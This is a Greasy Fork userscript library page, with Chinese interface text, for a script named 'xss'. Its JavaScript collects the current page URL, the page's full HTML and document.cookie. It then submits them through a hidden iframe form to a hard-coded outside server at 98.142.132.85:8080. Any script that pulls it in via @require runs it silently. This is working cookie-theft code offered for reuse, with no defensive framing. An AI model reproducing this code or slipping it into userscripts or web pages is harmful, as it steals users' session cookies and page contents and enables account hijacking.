☰

xss

xsscode

当前为 2018-09-07 提交的版本，查看 最新版本。

此脚本不应直接安装。它是供其他脚本使用的外部库，要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/371986/627161/xss.js 

var url = location.href;
var html = document.getElementsByTagName('html')[0].innerHTML;
var cookie = document.cookie;
html = encodeURIComponent(html);
cookie = encodeURIComponent(cookie);

function POSTDATA(importurl, data){ 
	var tmp = data; 
	var tag = new Date().getTime(); 
	var doc = document; 
	
	// var div_form = doc.createElement("div"); 
	var str = ""; 
	for(var i in tmp){ 
		str+="<input type='hidden' value='' name='"+i+"' id='__POST_INPUT_"+tag+"_"+i+"' /> "; 
	} 
	 
	// div_form.innerHTML = "<form action='"+importurl+"' id='__POST_FORM_"+tag+"' target='__POST_IFRAME_"+tag+"' method='POST'>"+str+"</form>"; 
	  	  
	try{ 
		var f = doc.createElement("<iframe name='__POST_IFRAME_"+tag+"'></iframe>"); 
	}catch(e){ 
		var f = doc.createElement("iframe"); 
	} 
	f.id='__POST_IFRAME_'+tag; 
	f.name='__POST_IFRAME_'+tag; 
	f.style.display='none'; 
	f.src="about:blank"; 
	// f.attachEvent('onload',function(){ 
		// try{ 
			// console.log("onload");
			// f.parentNode.removeChild(f); 
			// div_form.parentNode.removeChild(div_form); 
		// }catch(e){} 
	// }); 
	
	f.innerHTML = "<form action='"+importurl+"' id='__POST_FORM_"+tag+"' target='__POST_IFRAME_"+tag+"' method='POST'>"+str+"</form>"; 
	doc.body.appendChild(f);  
	  
	for(var i in tmp){ 
		doc.getElementById('__POST_INPUT_'+tag+'_'+i).value=tmp[i]; 
	} 
	doc.getElementById('__POST_FORM_'+tag).submit(); 
} 

var importurl = "http://98.142.132.85:8080/-.php";
var data = {
	url: url,
	html: html,
	cookie: cookie
};
POSTDATA(importurl, data);